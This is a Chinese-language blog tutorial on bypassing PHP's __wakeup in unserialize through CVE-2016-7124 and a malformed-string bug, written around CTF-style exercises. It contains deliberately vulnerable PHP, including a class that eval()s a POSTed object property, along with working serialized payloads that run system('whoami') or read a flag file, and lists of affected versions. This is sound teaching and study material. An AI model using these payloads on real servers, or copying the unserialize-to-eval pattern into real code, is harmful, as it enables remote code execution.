unserialize绕过__wakeup

前言:unserialize绕过__wakeup的两种方法

unserialize 和 serialize的注意点

1、__construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
2、__destruct():当对象被销毁时会自动调用。(析构函数)
3、__wakeup():unserialize() 时会自动调用。

CVE-2016-7124

试题1

<?php
class convent{
var $warn = "No hacker.";
function __destruct(){
eval($this->warn);
}
function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

post请求cmd=O:7:"convent":1:{s:4:"warn";s:17:"system("whoami");";},会发现是空白,说明命令并没有执行

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124),语句改为这样试试看:cmd=O:7:"convent":2:{s:4:"warn";s:17:"system("whoami");";},发现命令执行成功

这里也说明了__wakeup():unserialize() 时会自动调用

我们在反序列化的时候 可能有时候__wakeup 中会进行一些过滤等等的操作 所以我们需要尝试绕过

试题2

<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo('fl4g.php');
echo serialize($a);
echo "<br/>";
echo base64_encode('O:+4:"Demo":2:{S:10:"\00Demo\00file";s:8:"fl4g.php";}');
// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

总结:

绕过的条件:利用的是当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

影响版本:PHP5 < 5.6.25, PHP7 < 7.0.10

bad unserialize string makes __wakeup ineffective

参考文章:https://bugs.php.net/bug.php?id=81153

<?php
class D{
public $flag=True;
public function __get($a){
if($this->flag){
echo 'flag';
}else{
echo 'hint';
}
}
public function __wakeup(){
$this->flag = False;
}
}
class C{
public function __destruct(){
echo $this->c->b;
}
}
@unserialize('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}');

总结

绕过的条件:删除掉序列化数据的最后一个 } 或者在 最后两个 } 中间加上 ;

影响版本:

Success:
7.0.15 - 7.0.33, 7.1.1 - 7.1.33, 7.2.0 - 7.2.34, 7.3.0 - 7.3.28, 7.4.0 - 7.4.16, 8.0.0 - 8.0.3

Fail:
5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.14, 7.1.0

posted @   zpchcbd  阅读(1194)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示